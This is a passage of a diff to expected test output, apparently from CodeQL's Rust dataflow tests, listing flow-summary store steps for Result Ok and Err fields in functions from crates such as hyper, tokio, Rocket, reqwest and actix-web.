ReturnValue.Field[crate::result::Result::Err(0)] in repo:https://github.com/hyperium/hyper:hyper::_::::send_request | Err | file://:0:0:0:0 | [summary] to write: ReturnValue in repo:https://github.com/hyperium/hyper:hyper::_::::send_request | +| file://:0:0:0:0 | [summary] to write: ReturnValue.Field[crate::result::Result::Err(0)] in repo:https://github.com/hyperium/hyper:hyper::_::::try_send_request | Err | file://:0:0:0:0 | [summary] to write: ReturnValue in repo:https://github.com/hyperium/hyper:hyper::_::::try_send_request | +| file://:0:0:0:0 | [summary] to write: ReturnValue.Field[crate::result::Result::Err(0)] in repo:https://github.com/hyperium/hyper:hyper::_::::send | Err | file://:0:0:0:0 | [summary] to write: ReturnValue in repo:https://github.com/hyperium/hyper:hyper::_::::send | +| file://:0:0:0:0 | [summary] to write: ReturnValue.Field[crate::result::Result::Err(0)] in repo:https://github.com/hyperium/hyper:hyper::_::::try_send | Err | file://:0:0:0:0 | [summary] to write: ReturnValue in repo:https://github.com/hyperium/hyper:hyper::_::::try_send | +| file://:0:0:0:0 | [summary] to write: ReturnValue.Field[crate::result::Result::Err(0)] in repo:https://github.com/hyperium/hyper:hyper::_::::recv_msg | Err | file://:0:0:0:0 | [summary] to write: ReturnValue in repo:https://github.com/hyperium/hyper:hyper::_::::recv_msg | +| file://:0:0:0:0 | [summary] to write: ReturnValue.Field[crate::result::Result::Err(0)] in repo:https://github.com/matklad/once_cell:once_cell::_::::set | Err | file://:0:0:0:0 | [summary] to write: ReturnValue in repo:https://github.com/matklad/once_cell:once_cell::_::::set | +| file://:0:0:0:0 | [summary] to write: ReturnValue.Field[crate::result::Result::Err(0)] in repo:https://github.com/matklad/once_cell:once_cell::_::::try_insert | Err | file://:0:0:0:0 | [summary] to write: ReturnValue in repo:https://github.com/matklad/once_cell:once_cell::_::::try_insert | +| file://:0:0:0:0 | [summary] to write: ReturnValue.Field[crate::result::Result::Err(0)] in repo:https://github.com/matklad/once_cell:once_cell::_::::set | Err | file://:0:0:0:0 | [summary] to write: ReturnValue in repo:https://github.com/matklad/once_cell:once_cell::_::::set | +| file://:0:0:0:0 | [summary] to write: ReturnValue.Field[crate::result::Result::Err(0)] in repo:https://github.com/matklad/once_cell:once_cell::_::::try_insert | Err | file://:0:0:0:0 | [summary] to write: ReturnValue in repo:https://github.com/matklad/once_cell:once_cell::_::::try_insert | +| file://:0:0:0:0 | [summary] to write: ReturnValue.Field[crate::result::Result::Err(0)] in repo:https://github.com/rwf2/Rocket:rocket::_::::from_param | Err | file://:0:0:0:0 | [summary] to write: ReturnValue in repo:https://github.com/rwf2/Rocket:rocket::_::::from_param | +| file://:0:0:0:0 | [summary] to write: ReturnValue.Field[crate::result::Result::Err(0)] in repo:https://github.com/rwf2/Rocket:rocket::_::::from_param | Err | file://:0:0:0:0 | [summary] to write: ReturnValue in repo:https://github.com/rwf2/Rocket:rocket::_::::from_param | +| file://:0:0:0:0 | [summary] to write: ReturnValue.Field[crate::result::Result::Err(0)] in repo:https://github.com/rwf2/Rocket:rocket::_::::from_param | Err | file://:0:0:0:0 | [summary] to write: ReturnValue in repo:https://github.com/rwf2/Rocket:rocket::_::::from_param | +| file://:0:0:0:0 | [summary] to write: ReturnValue.Field[crate::result::Result::Err(0)] in repo:https://github.com/rwf2/Rocket:rocket::_::::from_param | Err | file://:0:0:0:0 | [summary] to write: ReturnValue in repo:https://github.com/rwf2/Rocket:rocket::_::::from_param | +| file://:0:0:0:0 | [summary] to write: ReturnValue.Field[crate::result::Result::Err(0)] in repo:https://github.com/rwf2/Rocket:rocket::_::::from_param | Err | file://:0:0:0:0 | [summary] to write: ReturnValue in repo:https://github.com/rwf2/Rocket:rocket::_::::from_param | +| file://:0:0:0:0 | [summary] to write: ReturnValue.Field[crate::result::Result::Err(0)] in repo:https://github.com/rwf2/Rocket:rocket::_::::from_param | Err | file://:0:0:0:0 | [summary] to write: ReturnValue in repo:https://github.com/rwf2/Rocket:rocket::_::::from_param | +| file://:0:0:0:0 | [summary] to write: ReturnValue.Field[crate::result::Result::Err(0)] in repo:https://github.com/rwf2/Rocket:rocket::_::::from_param | Err | file://:0:0:0:0 | [summary] to write: ReturnValue in repo:https://github.com/rwf2/Rocket:rocket::_::::from_param | +| file://:0:0:0:0 | [summary] to write: ReturnValue.Field[crate::result::Result::Err(0)] in repo:https://github.com/rwf2/Rocket:rocket::_::::from_param | Err | file://:0:0:0:0 | [summary] to write: ReturnValue in repo:https://github.com/rwf2/Rocket:rocket::_::::from_param | +| file://:0:0:0:0 | [summary] to write: ReturnValue.Field[crate::result::Result::Err(0)] in repo:https://github.com/rwf2/Rocket:rocket::_::::success_or | Err | file://:0:0:0:0 | [summary] to write: ReturnValue in repo:https://github.com/rwf2/Rocket:rocket::_::::success_or | +| file://:0:0:0:0 | [summary] to write: ReturnValue.Field[crate::result::Result::Err(0)] in repo:https://github.com/rwf2/Rocket:rocket::_::::success_or_else | Err | file://:0:0:0:0 | [summary] to write: ReturnValue in repo:https://github.com/rwf2/Rocket:rocket::_::::success_or_else | +| file://:0:0:0:0 | [summary] to write: ReturnValue.Field[crate::result::Result::Err(0)] in repo:https://github.com/rwf2/Rocket:rocket::_::::respond_to | Err | file://:0:0:0:0 | [summary] to write: ReturnValue in repo:https://github.com/rwf2/Rocket:rocket::_::::respond_to | +| file://:0:0:0:0 | [summary] to write: ReturnValue.Field[crate::result::Result::Err(0)] in repo:https://github.com/rwf2/Rocket:rocket::_::::from_param | Err | file://:0:0:0:0 | [summary] to write: ReturnValue in repo:https://github.com/rwf2/Rocket:rocket::_::::from_param | +| file://:0:0:0:0 | [summary] to write: ReturnValue.Field[crate::result::Result::Err(0)] in repo:https://github.com/rwf2/Rocket:rocket::_::::from_param | Err | file://:0:0:0:0 | [summary] to write: ReturnValue in repo:https://github.com/rwf2/Rocket:rocket::_::::from_param | +| file://:0:0:0:0 | [summary] to write: ReturnValue.Field[crate::result::Result::Err(0)] in repo:https://github.com/rwf2/Rocket:rocket::_::::from_param | Err | file://:0:0:0:0 | [summary] to write: ReturnValue in repo:https://github.com/rwf2/Rocket:rocket::_::::from_param | +| file://:0:0:0:0 | [summary] to write: ReturnValue.Field[crate::result::Result::Err(0)] in repo:https://github.com/rwf2/Rocket:rocket::_::::from_param | Err | file://:0:0:0:0 | [summary] to write: ReturnValue in repo:https://github.com/rwf2/Rocket:rocket::_::::from_param | +| file://:0:0:0:0 | [summary] to write: ReturnValue.Field[crate::result::Result::Err(0)] in repo:https://github.com/rwf2/Rocket:rocket::_::::from_param | Err | file://:0:0:0:0 | [summary] to write: ReturnValue in repo:https://github.com/rwf2/Rocket:rocket::_::::from_param | +| file://:0:0:0:0 | [summary] to write: ReturnValue.Field[crate::result::Result::Err(0)] in repo:https://github.com/rwf2/Rocket:rocket::_::::from_param | Err | file://:0:0:0:0 | [summary] to write: ReturnValue in repo:https://github.com/rwf2/Rocket:rocket::_::::from_param | +| file://:0:0:0:0 | [summary] to write: ReturnValue.Field[crate::result::Result::Err(0)] in repo:https://github.com/rwf2/Rocket:rocket::_::::from_param | Err | file://:0:0:0:0 | [summary] to write: ReturnValue in repo:https://github.com/rwf2/Rocket:rocket::_::::from_param | +| file://:0:0:0:0 | [summary] to write: ReturnValue.Field[crate::result::Result::Err(0)] in repo:https://github.com/rwf2/Rocket:rocket::_::::from_param | Err | file://:0:0:0:0 | [summary] to write: ReturnValue in repo:https://github.com/rwf2/Rocket:rocket::_::::from_param | +| file://:0:0:0:0 | [summary] to write: ReturnValue.Field[crate::result::Result::Err(0)] in repo:https://github.com/rwf2/Rocket:rocket::_::::from_param | Err | file://:0:0:0:0 | [summary] to write: ReturnValue in repo:https://github.com/rwf2/Rocket:rocket::_::::from_param | +| file://:0:0:0:0 | [summary] to write: ReturnValue.Field[crate::result::Result::Err(0)] in repo:https://github.com/rwf2/Rocket:rocket::_::::from_param | Err | file://:0:0:0:0 | [summary] to write: ReturnValue in repo:https://github.com/rwf2/Rocket:rocket::_::::from_param | +| file://:0:0:0:0 | [summary] to write: ReturnValue.Field[crate::result::Result::Err(0)] in repo:https://github.com/rwf2/Rocket:rocket::_::::from_param | Err | file://:0:0:0:0 | [summary] to write: ReturnValue in repo:https://github.com/rwf2/Rocket:rocket::_::::from_param | +| file://:0:0:0:0 | [summary] to write: ReturnValue.Field[crate::result::Result::Err(0)] in repo:https://github.com/rwf2/Rocket:rocket::_::::from_param | Err | file://:0:0:0:0 | [summary] to write: ReturnValue in repo:https://github.com/rwf2/Rocket:rocket::_::::from_param | +| file://:0:0:0:0 | [summary] to write: ReturnValue.Field[crate::result::Result::Err(0)] in repo:https://github.com/rwf2/Rocket:rocket::_::::from_param | Err | file://:0:0:0:0 | [summary] to write: ReturnValue in repo:https://github.com/rwf2/Rocket:rocket::_::::from_param | +| file://:0:0:0:0 | [summary] to write: ReturnValue.Field[crate::result::Result::Err(0)] in repo:https://github.com/rwf2/Rocket:rocket::_::::from_param | Err | file://:0:0:0:0 | [summary] to write: ReturnValue in repo:https://github.com/rwf2/Rocket:rocket::_::::from_param | +| file://:0:0:0:0 | [summary] to write: ReturnValue.Field[crate::result::Result::Err(0)] in repo:https://github.com/servo/rust-smallvec:smallvec::_::::into_inner | Err | file://:0:0:0:0 | [summary] to write: ReturnValue in repo:https://github.com/servo/rust-smallvec:smallvec::_::::into_inner | +| file://:0:0:0:0 | [summary] to write: ReturnValue.Field[crate::result::Result::Err(0)] in repo:https://github.com/tokio-rs/tokio:tokio-util::_::::try_set | Err | file://:0:0:0:0 | [summary] to write: ReturnValue in repo:https://github.com/tokio-rs/tokio:tokio-util::_::::try_set | +| file://:0:0:0:0 | [summary] to write: ReturnValue.Field[crate::result::Result::Err(0)] in repo:https://github.com/tokio-rs/tokio:tokio-util::_::::insert | Err | file://:0:0:0:0 | [summary] to write: ReturnValue in repo:https://github.com/tokio-rs/tokio:tokio-util::_::::insert | +| file://:0:0:0:0 | [summary] to write: ReturnValue.Field[crate::result::Result::Err(0)] in repo:https://github.com/tokio-rs/tokio:tokio::_::::try_into_std | Err | file://:0:0:0:0 | [summary] to write: ReturnValue in repo:https://github.com/tokio-rs/tokio:tokio::_::::try_into_std | +| file://:0:0:0:0 | [summary] to write: ReturnValue.Field[crate::result::Result::Err(0)] in repo:https://github.com/tokio-rs/tokio:tokio::_::::try_into_panic | Err | file://:0:0:0:0 | [summary] to write: ReturnValue in repo:https://github.com/tokio-rs/tokio:tokio::_::::try_into_panic | +| file://:0:0:0:0 | [summary] to write: ReturnValue.Field[crate::result::Result::Err(0)] in repo:https://github.com/tokio-rs/tokio:tokio::_::::insert | Err | file://:0:0:0:0 | [summary] to write: ReturnValue in repo:https://github.com/tokio-rs/tokio:tokio::_::::insert | +| file://:0:0:0:0 | [summary] to write: ReturnValue.Field[crate::result::Result::Err(0)] in repo:https://github.com/tokio-rs/tokio:tokio::_::::try_set | Err | file://:0:0:0:0 | [summary] to write: ReturnValue in repo:https://github.com/tokio-rs/tokio:tokio::_::::try_set | +| file://:0:0:0:0 | [summary] to write: ReturnValue.Field[crate::result::Result::Err(0)] in repo:https://github.com/tokio-rs/tokio:tokio::_::::try_map | Err | file://:0:0:0:0 | [summary] to write: ReturnValue in repo:https://github.com/tokio-rs/tokio:tokio::_::::try_map | +| file://:0:0:0:0 | [summary] to write: ReturnValue.Field[crate::result::Result::Err(0)] in repo:https://github.com/tokio-rs/tokio:tokio::_::::try_map | Err | file://:0:0:0:0 | [summary] to write: ReturnValue in repo:https://github.com/tokio-rs/tokio:tokio::_::::try_map | +| file://:0:0:0:0 | [summary] to write: ReturnValue.Field[crate::result::Result::Err(0)] in repo:https://github.com/tokio-rs/tokio:tokio::_::::try_map | Err | file://:0:0:0:0 | [summary] to write: ReturnValue in repo:https://github.com/tokio-rs/tokio:tokio::_::::try_map | +| file://:0:0:0:0 | [summary] to write: ReturnValue.Field[crate::result::Result::Err(0)] in repo:https://github.com/tokio-rs/tokio:tokio::_::::try_map | Err | file://:0:0:0:0 | [summary] to write: ReturnValue in repo:https://github.com/tokio-rs/tokio:tokio::_::::try_map | +| file://:0:0:0:0 | [summary] to write: ReturnValue.Field[crate::result::Result::Err(0)] in repo:https://github.com/tokio-rs/tokio:tokio::_::::try_map | Err | file://:0:0:0:0 | [summary] to write: ReturnValue in repo:https://github.com/tokio-rs/tokio:tokio::_::::try_map | +| file://:0:0:0:0 | [summary] to write: ReturnValue.Field[crate::result::Result::Err(0)] in repo:https://github.com/tokio-rs/tokio:tokio::_::::try_downgrade_map | Err | file://:0:0:0:0 | [summary] to write: ReturnValue in repo:https://github.com/tokio-rs/tokio:tokio::_::::try_downgrade_map | +| file://:0:0:0:0 | [summary] to write: ReturnValue.Field[crate::result::Result::Err(0)] in repo:https://github.com/tokio-rs/tokio:tokio::_::::try_map | Err | file://:0:0:0:0 | [summary] to write: ReturnValue in repo:https://github.com/tokio-rs/tokio:tokio::_::::try_map | +| file://:0:0:0:0 | [summary] to write: ReturnValue.Field[crate::result::Result::Err(0)] in repo:https://github.com/tokio-rs/tokio:tokio::_::::try_map | Err | file://:0:0:0:0 | [summary] to write: ReturnValue in repo:https://github.com/tokio-rs/tokio:tokio::_::::try_map | +| file://:0:0:0:0 | [summary] to write: ReturnValue.Field[crate::result::Result::Err(0)] in repo:https://github.com/tokio-rs/tokio:tokio::_::::try_map | Err | file://:0:0:0:0 | [summary] to write: ReturnValue in repo:https://github.com/tokio-rs/tokio:tokio::_::::try_map | +| file://:0:0:0:0 | [summary] to write: ReturnValue.Field[crate::result::Result::Err(0)] in repo:https://github.com/tokio-rs/tokio:tokio::_::::try_downgrade_map | Err | file://:0:0:0:0 | [summary] to write: ReturnValue in repo:https://github.com/tokio-rs/tokio:tokio::_::::try_downgrade_map | +| file://:0:0:0:0 | [summary] to write: ReturnValue.Field[crate::result::Result::Err(0)] in repo:https://github.com/tokio-rs/tokio:tokio::_::::try_map | Err | file://:0:0:0:0 | [summary] to write: ReturnValue in repo:https://github.com/tokio-rs/tokio:tokio::_::::try_map | +| file://:0:0:0:0 | [summary] to write: ReturnValue.Field[crate::result::Result::Err(0)] in repo:https://github.com/tokio-rs/tokio:tokio::_::::try_map | Err | file://:0:0:0:0 | [summary] to write: ReturnValue in repo:https://github.com/tokio-rs/tokio:tokio::_::::try_map | +| file://:0:0:0:0 | [summary] to write: ReturnValue.Field[crate::result::Result::Err(0)] in repo:https://github.com/tokio-rs/tokio:tokio::_::crate::io::util::read_line::finish_string_read | Err | file://:0:0:0:0 | [summary] to write: ReturnValue in repo:https://github.com/tokio-rs/tokio:tokio::_::crate::io::util::read_line::finish_string_read | +| file://:0:0:0:0 | [summary] to write: ReturnValue.Field[crate::result::Result::Err(0)] in repo:https://github.com/tokio-rs/tokio:tokio::_::crate::util::typeid::try_transmute | Err | file://:0:0:0:0 | [summary] to write: ReturnValue in repo:https://github.com/tokio-rs/tokio:tokio::_::crate::util::typeid::try_transmute | +| file://:0:0:0:0 | [summary] to write: ReturnValue.Field[crate::result::Result::Err(0)].Field[0] in repo:https://github.com/tokio-rs/tokio:tokio-util::_::::insert | tuple.0 | file://:0:0:0:0 | [summary] to write: ReturnValue.Field[crate::result::Result::Err(0)] in repo:https://github.com/tokio-rs/tokio:tokio-util::_::::insert | +| file://:0:0:0:0 | [summary] to write: ReturnValue.Field[crate::result::Result::Err(0)].Field[0] in repo:https://github.com/tokio-rs/tokio:tokio::_::::insert | tuple.0 | file://:0:0:0:0 | [summary] to write: ReturnValue.Field[crate::result::Result::Err(0)] in repo:https://github.com/tokio-rs/tokio:tokio::_::::insert | | file://:0:0:0:0 | [summary] to write: ReturnValue.Field[crate::result::Result::Err(0)].Field[1] in lang:core::_::::try_insert | tuple.1 | file://:0:0:0:0 | [summary] to write: ReturnValue.Field[crate::result::Result::Err(0)] in lang:core::_::::try_insert | | file://:0:0:0:0 | [summary] to write: ReturnValue.Field[crate::result::Result::Err(0)].Field[1] in lang:std::_::::try_insert | tuple.1 | file://:0:0:0:0 | [summary] to write: ReturnValue.Field[crate::result::Result::Err(0)] in lang:std::_::::try_insert | +| file://:0:0:0:0 | [summary] to write: ReturnValue.Field[crate::result::Result::Err(0)].Field[1] in repo:https://github.com/matklad/once_cell:once_cell::_::::try_insert | tuple.1 | file://:0:0:0:0 | [summary] to write: ReturnValue.Field[crate::result::Result::Err(0)] in repo:https://github.com/matklad/once_cell:once_cell::_::::try_insert | +| file://:0:0:0:0 | [summary] to write: ReturnValue.Field[crate::result::Result::Err(0)].Field[1] in repo:https://github.com/matklad/once_cell:once_cell::_::::try_insert | tuple.1 | file://:0:0:0:0 | [summary] to write: ReturnValue.Field[crate::result::Result::Err(0)] in repo:https://github.com/matklad/once_cell:once_cell::_::::try_insert | | file://:0:0:0:0 | [summary] to write: ReturnValue.Field[crate::result::Result::Err(0)].Reference in lang:core::_::::as_deref | &ref | file://:0:0:0:0 | [summary] to write: ReturnValue.Field[crate::result::Result::Err(0)] in lang:core::_::::as_deref | | file://:0:0:0:0 | [summary] to write: ReturnValue.Field[crate::result::Result::Err(0)].Reference in lang:core::_::::as_deref_mut | &ref | file://:0:0:0:0 | [summary] to write: ReturnValue.Field[crate::result::Result::Err(0)] in lang:core::_::::as_deref_mut | | file://:0:0:0:0 | [summary] to write: ReturnValue.Field[crate::result::Result::Err(0)].Reference in lang:core::_::::as_mut | &ref | file://:0:0:0:0 | [summary] to write: ReturnValue.Field[crate::result::Result::Err(0)] in lang:core::_::::as_mut | @@ -1139,24 +1261,72 @@ storeStep | file://:0:0:0:0 | [summary] to write: ReturnValue.Field[crate::result::Result::Ok(0)] in lang:std::_::::wait_while | Ok | file://:0:0:0:0 | [summary] to write: ReturnValue in lang:std::_::::wait_while | | file://:0:0:0:0 | [summary] to write: ReturnValue.Field[crate::result::Result::Ok(0)] in lang:std::_::::try_with | Ok | file://:0:0:0:0 | [summary] to write: ReturnValue in lang:std::_::::try_with | | file://:0:0:0:0 | [summary] to write: ReturnValue.Field[crate::result::Result::Ok(0)] in lang:std::_::crate::sys::pal::unix::cvt | Ok | file://:0:0:0:0 | [summary] to write: ReturnValue in lang:std::_::crate::sys::pal::unix::cvt | +| file://:0:0:0:0 | [summary] to write: ReturnValue.Field[crate::result::Result::Ok(0)] in repo::serde_test_suite::_::::variant_seed | Ok | file://:0:0:0:0 | [summary] to write: ReturnValue in repo::serde_test_suite::_::::variant_seed | +| file://:0:0:0:0 | [summary] to write: ReturnValue.Field[crate::result::Result::Ok(0)] in repo::serde_test_suite::_::::visit_byte_buf | Ok | file://:0:0:0:0 | [summary] to write: ReturnValue in repo::serde_test_suite::_::::visit_byte_buf | +| file://:0:0:0:0 | [summary] to write: ReturnValue.Field[crate::result::Result::Ok(0)] in repo:https://github.com/actix/actix-web:actix-http::_::<&crate::header::value::HeaderValue as crate::header::into_value::TryIntoHeaderValue>::try_into_value | Ok | file://:0:0:0:0 | [summary] to write: ReturnValue in repo:https://github.com/actix/actix-web:actix-http::_::<&crate::header::value::HeaderValue as crate::header::into_value::TryIntoHeaderValue>::try_into_value | +| file://:0:0:0:0 | [summary] to write: ReturnValue.Field[crate::result::Result::Ok(0)] in repo:https://github.com/actix/actix-web:actix-http::_::::try_into_bytes | Ok | file://:0:0:0:0 | [summary] to write: ReturnValue in repo:https://github.com/actix/actix-web:actix-http::_::::try_into_bytes | +| file://:0:0:0:0 | [summary] to write: ReturnValue.Field[crate::result::Result::Ok(0)] in repo:https://github.com/actix/actix-web:actix-http::_::::try_into_value | Ok | file://:0:0:0:0 | [summary] to write: ReturnValue in repo:https://github.com/actix/actix-web:actix-http::_::::try_into_value | +| file://:0:0:0:0 | [summary] to write: ReturnValue.Field[crate::result::Result::Ok(0)] in repo:https://github.com/actix/actix-web:actix-web::_::::bind | Ok | file://:0:0:0:0 | [summary] to write: ReturnValue in repo:https://github.com/actix/actix-web:actix-web::_::::bind | +| file://:0:0:0:0 | [summary] to write: ReturnValue.Field[crate::result::Result::Ok(0)] in repo:https://github.com/actix/actix-web:actix-web::_::::bind_auto_h2c | Ok | file://:0:0:0:0 | [summary] to write: ReturnValue in repo:https://github.com/actix/actix-web:actix-web::_::::bind_auto_h2c | +| file://:0:0:0:0 | [summary] to write: ReturnValue.Field[crate::result::Result::Ok(0)] in repo:https://github.com/actix/actix-web:actix-web::_::::bind_openssl | Ok | file://:0:0:0:0 | [summary] to write: ReturnValue in repo:https://github.com/actix/actix-web:actix-web::_::::bind_openssl | +| file://:0:0:0:0 | [summary] to write: ReturnValue.Field[crate::result::Result::Ok(0)] in repo:https://github.com/actix/actix-web:actix-web::_::::bind_rustls | Ok | file://:0:0:0:0 | [summary] to write: ReturnValue in repo:https://github.com/actix/actix-web:actix-web::_::::bind_rustls | +| file://:0:0:0:0 | [summary] to write: ReturnValue.Field[crate::result::Result::Ok(0)] in repo:https://github.com/actix/actix-web:actix-web::_::::bind_rustls_0_22 | Ok | file://:0:0:0:0 | [summary] to write: ReturnValue in repo:https://github.com/actix/actix-web:actix-web::_::::bind_rustls_0_22 | +| file://:0:0:0:0 | [summary] to write: ReturnValue.Field[crate::result::Result::Ok(0)] in repo:https://github.com/actix/actix-web:actix-web::_::::bind_rustls_0_23 | Ok | file://:0:0:0:0 | [summary] to write: ReturnValue in repo:https://github.com/actix/actix-web:actix-web::_::::bind_rustls_0_23 | +| file://:0:0:0:0 | [summary] to write: ReturnValue.Field[crate::result::Result::Ok(0)] in repo:https://github.com/actix/actix-web:actix-web::_::::bind_rustls_021 | Ok | file://:0:0:0:0 | [summary] to write: ReturnValue in repo:https://github.com/actix/actix-web:actix-web::_::::bind_rustls_021 | +| file://:0:0:0:0 | [summary] to write: ReturnValue.Field[crate::result::Result::Ok(0)] in repo:https://github.com/actix/actix-web:actix-web::_::::bind_uds | Ok | file://:0:0:0:0 | [summary] to write: ReturnValue in repo:https://github.com/actix/actix-web:actix-web::_::::bind_uds | +| file://:0:0:0:0 | [summary] to write: ReturnValue.Field[crate::result::Result::Ok(0)] in repo:https://github.com/actix/actix-web:actix-web::_::::listen | Ok | file://:0:0:0:0 | [summary] to write: ReturnValue in repo:https://github.com/actix/actix-web:actix-web::_::::listen | +| file://:0:0:0:0 | [summary] to write: ReturnValue.Field[crate::result::Result::Ok(0)] in repo:https://github.com/actix/actix-web:actix-web::_::::listen_auto_h2c | Ok | file://:0:0:0:0 | [summary] to write: ReturnValue in repo:https://github.com/actix/actix-web:actix-web::_::::listen_auto_h2c | +| file://:0:0:0:0 | [summary] to write: ReturnValue.Field[crate::result::Result::Ok(0)] in repo:https://github.com/actix/actix-web:actix-web::_::::listen_uds | Ok | file://:0:0:0:0 | [summary] to write: ReturnValue in repo:https://github.com/actix/actix-web:actix-web::_::::listen_uds | +| file://:0:0:0:0 | [summary] to write: ReturnValue.Field[crate::result::Result::Ok(0)] in repo:https://github.com/actix/actix-web:awc::_::::query | Ok | file://:0:0:0:0 | [summary] to write: ReturnValue in repo:https://github.com/actix/actix-web:awc::_::::query | +| file://:0:0:0:0 | [summary] to write: ReturnValue.Field[crate::result::Result::Ok(0)] in repo:https://github.com/clap-rs/clap:clap_builder::_::::parse | Ok | file://:0:0:0:0 | [summary] to write: ReturnValue in repo:https://github.com/clap-rs/clap:clap_builder::_::::parse | +| file://:0:0:0:0 | [summary] to write: ReturnValue.Field[crate::result::Result::Ok(0)] in repo:https://github.com/matklad/once_cell:once_cell::_::::try_insert | Ok | file://:0:0:0:0 | [summary] to write: ReturnValue in repo:https://github.com/matklad/once_cell:once_cell::_::::try_insert | +| file://:0:0:0:0 | [summary] to write: ReturnValue.Field[crate::result::Result::Ok(0)] in repo:https://github.com/rwf2/Rocket:rocket::_::<&str as crate::request::from_param::FromParam>::from_param | Ok | file://:0:0:0:0 | [summary] to write: ReturnValue in repo:https://github.com/rwf2/Rocket:rocket::_::<&str as crate::request::from_param::FromParam>::from_param | +| file://:0:0:0:0 | [summary] to write: ReturnValue.Field[crate::result::Result::Ok(0)] in repo:https://github.com/rwf2/Rocket:rocket::_::::map_base | Ok | file://:0:0:0:0 | [summary] to write: ReturnValue in repo:https://github.com/rwf2/Rocket:rocket::_::::map_base | +| file://:0:0:0:0 | [summary] to write: ReturnValue.Field[crate::result::Result::Ok(0)] in repo:https://github.com/rwf2/Rocket:rocket::_::::map_base | Ok | file://:0:0:0:0 | [summary] to write: ReturnValue in repo:https://github.com/rwf2/Rocket:rocket::_::::map_base | +| file://:0:0:0:0 | [summary] to write: ReturnValue.Field[crate::result::Result::Ok(0)] in repo:https://github.com/rwf2/Rocket:rocket::_::::from_segments | Ok | file://:0:0:0:0 | [summary] to write: ReturnValue in repo:https://github.com/rwf2/Rocket:rocket::_::::from_segments | +| file://:0:0:0:0 | [summary] to write: ReturnValue.Field[crate::result::Result::Ok(0)] in repo:https://github.com/rwf2/Rocket:rocket_codegen::_::::upgrade_param | Ok | file://:0:0:0:0 | [summary] to write: ReturnValue in repo:https://github.com/rwf2/Rocket:rocket_codegen::_::::upgrade_param | +| file://:0:0:0:0 | [summary] to write: ReturnValue.Field[crate::result::Result::Ok(0)] in repo:https://github.com/rwf2/Rocket:rocket_codegen::_::::head_err_or | Ok | file://:0:0:0:0 | [summary] to write: ReturnValue in repo:https://github.com/rwf2/Rocket:rocket_codegen::_::::head_err_or | +| file://:0:0:0:0 | [summary] to write: ReturnValue.Field[crate::result::Result::Ok(0)] in repo:https://github.com/rwf2/Rocket:rocket_http::_::crate::parse::uri::scheme_from_str | Ok | file://:0:0:0:0 | [summary] to write: ReturnValue in repo:https://github.com/rwf2/Rocket:rocket_http::_::crate::parse::uri::scheme_from_str | +| file://:0:0:0:0 | [summary] to write: ReturnValue.Field[crate::result::Result::Ok(0)] in repo:https://github.com/seanmonstar/reqwest:reqwest::_::::into_url | Ok | file://:0:0:0:0 | [summary] to write: ReturnValue in repo:https://github.com/seanmonstar/reqwest:reqwest::_::::into_url | +| file://:0:0:0:0 | [summary] to write: ReturnValue.Field[crate::result::Result::Ok(0)] in repo:https://github.com/seanmonstar/reqwest:reqwest::_::::error_for_status | Ok | file://:0:0:0:0 | [summary] to write: ReturnValue in repo:https://github.com/seanmonstar/reqwest:reqwest::_::::error_for_status | +| file://:0:0:0:0 | [summary] to write: ReturnValue.Field[crate::result::Result::Ok(0)] in repo:https://github.com/seanmonstar/reqwest:reqwest::_::::error_for_status_ref | Ok | file://:0:0:0:0 | [summary] to write: ReturnValue in repo:https://github.com/seanmonstar/reqwest:reqwest::_::::error_for_status_ref | | file://:0:0:0:0 | [summary] to write: ReturnValue.Field[crate::result::Result::Ok(0)] in repo:https://github.com/seanmonstar/reqwest:reqwest::_::::bytes | Ok | file://:0:0:0:0 | [summary] to write: ReturnValue in repo:https://github.com/seanmonstar/reqwest:reqwest::_::::bytes | | file://:0:0:0:0 | [summary] to write: ReturnValue.Field[crate::result::Result::Ok(0)] in repo:https://github.com/seanmonstar/reqwest:reqwest::_::::text | Ok | file://:0:0:0:0 | [summary] to write: ReturnValue in repo:https://github.com/seanmonstar/reqwest:reqwest::_::::text | | file://:0:0:0:0 | [summary] to write: ReturnValue.Field[crate::result::Result::Ok(0)] in repo:https://github.com/seanmonstar/reqwest:reqwest::_::::text_with_charset | Ok | file://:0:0:0:0 | [summary] to write: ReturnValue in repo:https://github.com/seanmonstar/reqwest:reqwest::_::::text_with_charset | +| file://:0:0:0:0 | [summary] to write: ReturnValue.Field[crate::result::Result::Ok(0)] in repo:https://github.com/seanmonstar/reqwest:reqwest::_::::into_proxy_scheme | Ok | file://:0:0:0:0 | [summary] to write: ReturnValue in repo:https://github.com/seanmonstar/reqwest:reqwest::_::::into_proxy_scheme | | file://:0:0:0:0 | [summary] to write: ReturnValue.Field[crate::result::Result::Ok(0)] in repo:https://github.com/seanmonstar/reqwest:reqwest::_::::bytes | Ok | file://:0:0:0:0 | [summary] to write: ReturnValue in repo:https://github.com/seanmonstar/reqwest:reqwest::_::::bytes | | file://:0:0:0:0 | [summary] to write: ReturnValue.Field[crate::result::Result::Ok(0)] in repo:https://github.com/seanmonstar/reqwest:reqwest::_::::chunk | Ok | file://:0:0:0:0 | [summary] to write: ReturnValue in repo:https://github.com/seanmonstar/reqwest:reqwest::_::::chunk | | file://:0:0:0:0 | [summary] to write: ReturnValue.Field[crate::result::Result::Ok(0)] in repo:https://github.com/seanmonstar/reqwest:reqwest::_::::text | Ok | file://:0:0:0:0 | [summary] to write: ReturnValue in repo:https://github.com/seanmonstar/reqwest:reqwest::_::::text | | file://:0:0:0:0 | [summary] to write: ReturnValue.Field[crate::result::Result::Ok(0)] in repo:https://github.com/seanmonstar/reqwest:reqwest::_::::text_with_charset | Ok | file://:0:0:0:0 | [summary] to write: ReturnValue in repo:https://github.com/seanmonstar/reqwest:reqwest::_::::text_with_charset | +| file://:0:0:0:0 | [summary] to write: ReturnValue.Field[crate::result::Result::Ok(0)] in repo:https://github.com/serde-rs/serde:serde::_::::visit_bool | Ok | file://:0:0:0:0 | [summary] to write: ReturnValue in repo:https://github.com/serde-rs/serde:serde::_::::visit_bool | +| file://:0:0:0:0 | [summary] to write: ReturnValue.Field[crate::result::Result::Ok(0)] in repo:https://github.com/serde-rs/serde:serde::_::::visit_borrowed_bytes | Ok | file://:0:0:0:0 | [summary] to write: ReturnValue in repo:https://github.com/serde-rs/serde:serde::_::::visit_borrowed_bytes | +| file://:0:0:0:0 | [summary] to write: ReturnValue.Field[crate::result::Result::Ok(0)] in repo:https://github.com/serde-rs/serde:serde::_::::visit_char | Ok | file://:0:0:0:0 | [summary] to write: ReturnValue in repo:https://github.com/serde-rs/serde:serde::_::::visit_char | +| file://:0:0:0:0 | [summary] to write: ReturnValue.Field[crate::result::Result::Ok(0)] in 